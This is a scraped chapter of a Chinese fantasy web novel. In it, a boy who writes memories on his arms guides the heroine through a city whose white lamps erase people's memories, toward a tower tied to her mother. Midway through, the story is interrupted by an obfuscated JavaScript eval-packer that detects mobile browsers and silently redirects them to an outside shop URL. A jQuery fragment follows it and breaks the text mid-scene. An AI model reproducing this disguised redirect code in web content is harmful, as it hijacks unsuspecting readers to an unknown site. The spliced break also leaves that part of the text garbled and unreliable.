文趣网 > 其他小说 > 祠堂外的第四盏灯 > 31. 第31章
    铁门开得很慢。

    门后站着一个十岁上下的男孩,瘦得几乎撑不起身上的旧棉袄。他左手攥着一串钥匙,右手拿着半截炭笔,手背和手臂上写满了字。

    名字、日子、路线,还有一句句短得像暗号的话。

    我叫阿砚。

    娘亲在药铺。

    不能看白灯。

    北涧门只开一刻钟。

    男孩看见顾栖灯,先是愣了一下,随后低头看她腰间的铜灯。

    “你是临江来的?”

    “是。”

    “你见过黑棺?”

    “见过。”

    阿砚像终于松了口气,侧身让开一条缝。

    “快进来。白灯要转街了。”

    顾栖灯一行人迅速穿过铁门。

    铁门在身后合拢。

    门外是曲水城最偏僻的一条窄巷。巷子两侧都是低矮木屋,屋檐挂满白灯。灯没有火,却在雾中散着柔和的白光,照得整条街像罩在一层薄纸里。

    巷口忽然传来脚步声。

    一队人从远处走来。

    他们穿着寻常百姓的衣裳,有卖菜的妇人,有挑担的男人,也有抱着孩子的老人。每个人手里都端着一只小碗,碗中盛着清水,水面浮着一点白光。

    他们走得很整齐。

    经过巷口时,没有一个人转头看他们。

    “他们在做什么?”沈见微压低声音。

    阿砚回答得很快,像已经在心里背过无数次。

    “送灯水。”

    “送到哪里?”

    “忘川祠。”

    顾栖灯看向他。

    阿砚愣了一下,急忙从袖中掏出一张皱巴巴的纸,低头看了看,才继续道:“不是河,是祠。城里的人每天会去三次,早上、中午、晚上。把家里的水端过去,再从祠里带一盏白灯回来。”

    “为什么要带灯回来?”

    阿砚的眼神忽然有些空。

    “因为……因为——”

    他停住,低头去看手臂上的字。

    顾栖灯看见他手腕内侧写着一行很深的炭字:

    白灯会让你忘记,你为什么不想点灯。

    阿砚盯着那行字,脸色一点点发白。

    “因为不带灯回来的人,会忘掉家在哪里。”他说。

    顾栖灯心口发紧。

    曲水城的白灯,比临江的绿灯更安静,也更可怕。它不逼人做什么,只一点点抽走人对过去的记忆。等人忘了家、忘了亲人、忘了自己曾经抗拒过什么,便会自然而然地端着水,去给灯添油。

    “你怎么还记得?”顾长舟问。

    阿砚抬起手臂。

    “我刻。”

    他把炭笔递给顾长舟看。

    笔杆很短,已经磨得发亮。阿砚每天把重要的事写在身上,忘了就看,字被汗水蹭掉便再写一遍。身上没地方写了,他就去北涧石壁上刻。

    顾长舟的脸色很不好看。

    “你娘呢?”

    阿砚怔住。

    他又低头看字。

    这一次,看了很久。

    “娘亲在药铺。”他说。

    “药铺在哪儿?”

    “在……在……”

    阿砚的手开始发抖。

    顾栖灯轻轻按住他的手臂。

    “别急。你不必现在想起来。”

    阿砚抬头看她。

    “可我得带你们去。”

    “那就先带我们去忘川祠。”顾栖灯道,“你不是说他们都去那里送灯水吗?”

    阿砚愣了愣。

    “可以吗?”

    “可以。”

    顾栖灯看着他手臂上密密麻麻的字。

    “你已经记住最重要的一件事了。”

    “什么?”

    “你来给我们开门。”

    阿砚的眼睛微微亮了一下。

    他用袖口擦掉眼角一点湿意,转身钻进另一条更窄的巷子。

    “跟紧我。白灯照过来时,闭眼,别出声。”

    曲水城并不大。

    可越往城中走,白灯越密。街边的铺子全开着,蒸笼里热气腾腾,布庄的布料挂在风里,药铺门前还摆着刚晒好的药材。

    城像还活着。

    只是所有人都在重复同一件事。

    卖馄饨的人把一碗碗馄饨盛出来,却从不递给客人;布庄掌柜一遍遍量同一匹青布;药铺里的伙计把药材碾成粉,倒进一只无底的白瓷罐。

    没有人饿,也没有人说话。

    “他们记得怎么做事。”顾长舟低声道,“只是忘了为什么做。”

    沈见微打了个寒战。

    “这也太像——”

    她没说完。

    太像一个没有痛苦、也没有选择的世界。

    顾栖灯却忽然看见街角有个年轻女人,正把一张写满字的纸藏进砖缝里。等白灯照过去,她立刻直起身,神情茫然地端起水碗,跟上送灯水的队伍。

    她不是完全忘了。

    她在和忘记对抗。

    “阿砚。”顾栖灯问,“城里还有别人像你这样写字吗?”

    “有。”阿砚点头,“可有的人后来不见了。”

    “去了哪儿?”

    “忘川祠。”

    顾栖灯与顾长川对视一眼。

    白灯不只是让人忘记。

    它还会找出那些不愿忘的人。

    忘川祠坐落在曲水城正中。

    祠外没有围墙,只有一片铺满白石的广场。广场上立着一座巨大的白灯塔,塔身高得几乎看不见顶端。城中百姓端着水碗,排成长队,一层层将清水送进塔底。

    每倒进一碗水,塔上的白灯便亮一盏。

    顾栖灯数了数。

    一共九层。

    每一层灯下,都垂着无数细白线。白线不显眼,却从塔顶一路垂进城中每一户人家。

    “主灯。”顾长舟低声道。

    “怎么灭?”沈见微问。

    “不能直接灭。”顾栖灯道。

    她已经见过太多次了。

    强行熄灯,代价永远先落到被灯困住的人身上。

    “要先知道白灯拿走的记忆藏在哪里。”

    阿砚忽然拉了拉她的袖子。

    “在塔里。”

    “你进去过?”

    阿砚点头,又摇头。

    “我……我不记得进去过。但我醒来时,手里有这个。”

    他从衣领里掏出一把很小的铜钥匙。

    钥匙柄上刻着一朵白花。

    顾长舟看见那朵花,脸色微变。

    “白眠花。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968855|214618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你娘是药师?”他问。

    阿砚茫然地看着他。

    顾栖灯没有逼他。

    她接过钥匙,发现钥匙背面刻着一行极细的小字:

    曲水守灯人,沈兰烛。

    四个人都静了。

    顾栖灯的指尖慢慢收紧。

    “为什么会是我娘?”

    顾长舟接过钥匙仔细看。

    “这不是名字被写上去那么简单。”他说,“白眠花是曲水本地的药。若钥匙上刻着沈兰烛,说明这座塔的灯阵,最初可能就是她参与布下的。”

    “可她十六年前才到临江。”沈见微道。

    “也许她更早就在曲水待过。”顾长川说。

    顾栖灯看着白灯塔。

    母亲从未提过曲水。

    顾夫人也没有。

    守灯录里那些被撕掉的页、沈兰烛留在西霞寺的信、曲水货单上出现的名字……所有被她们以为已经解释过的事,忽然又有了新的缺口。

    “我娘不可能帮他们把人困在这里。”顾栖灯道。

    “我也这么想。”顾长舟说,“所以曲水这座灯阵,后来一定被人改过。”

    “谁改的?”

    阿砚忽然抬头。

    他望着白灯塔顶,脸色白得吓人。

    “一个没有右眼的人。”

    顾栖灯心口一沉。

    “你见过引灯人?”

    阿砚摇头。

    “我不知道他叫什么。但他来过药铺。他说,娘亲的药能让大家不怕。”

    “后来呢?”

    阿砚张了张口。

    白灯塔顶忽然发出一声极轻的嗡鸣。

    广场上的人同时停下脚步。

    上百盏白灯一齐转向他们所在的巷子。

    阿砚的脸上瞬间失去血色。

    “它看见我了。”

    白光从塔顶落下。

    阿砚手臂上的炭字开始一行行褪去。

    他惊恐地抓住顾栖灯的衣袖。

    “我叫什么?”

    顾栖灯一把握住他的手。

    “你叫阿砚。”

    白光越来越近。

    阿砚的眼神开始涣散。

    “我娘亲……”

    “你娘亲在药铺。”顾栖灯飞快道,“你来北涧给我们开门。你记得不能让白灯看见我们。你一直没有忘。”

    阿砚望着她。

    白光照到他肩上。

    顾栖灯将心灯灯芯按进他掌心。

    “现在记住一件新的事。”

    “什么?”

    “你不是一个人。”

    灯芯亮起一点暖白色的光。

    阿砚手臂上褪去的字,竟慢慢重新浮现。

    白灯塔的嗡鸣骤然尖利。

    顾长川拔刀挡在顾栖灯与阿砚身前。

    顾长舟迅速从药箱里抓出一把药粉,洒向半空。药粉遇到白光,化成一片浓雾。

    “先走!”他喝道。

    沈见微一把抱起阿砚,转身冲进巷子。

    顾栖灯回头看了一眼白灯塔。

    塔顶最亮的那盏灯中,浮出一个模糊的人影。

    那人没有右眼。

    正隔着整座曲水城,看着她。

    引灯人已经知道,她来了。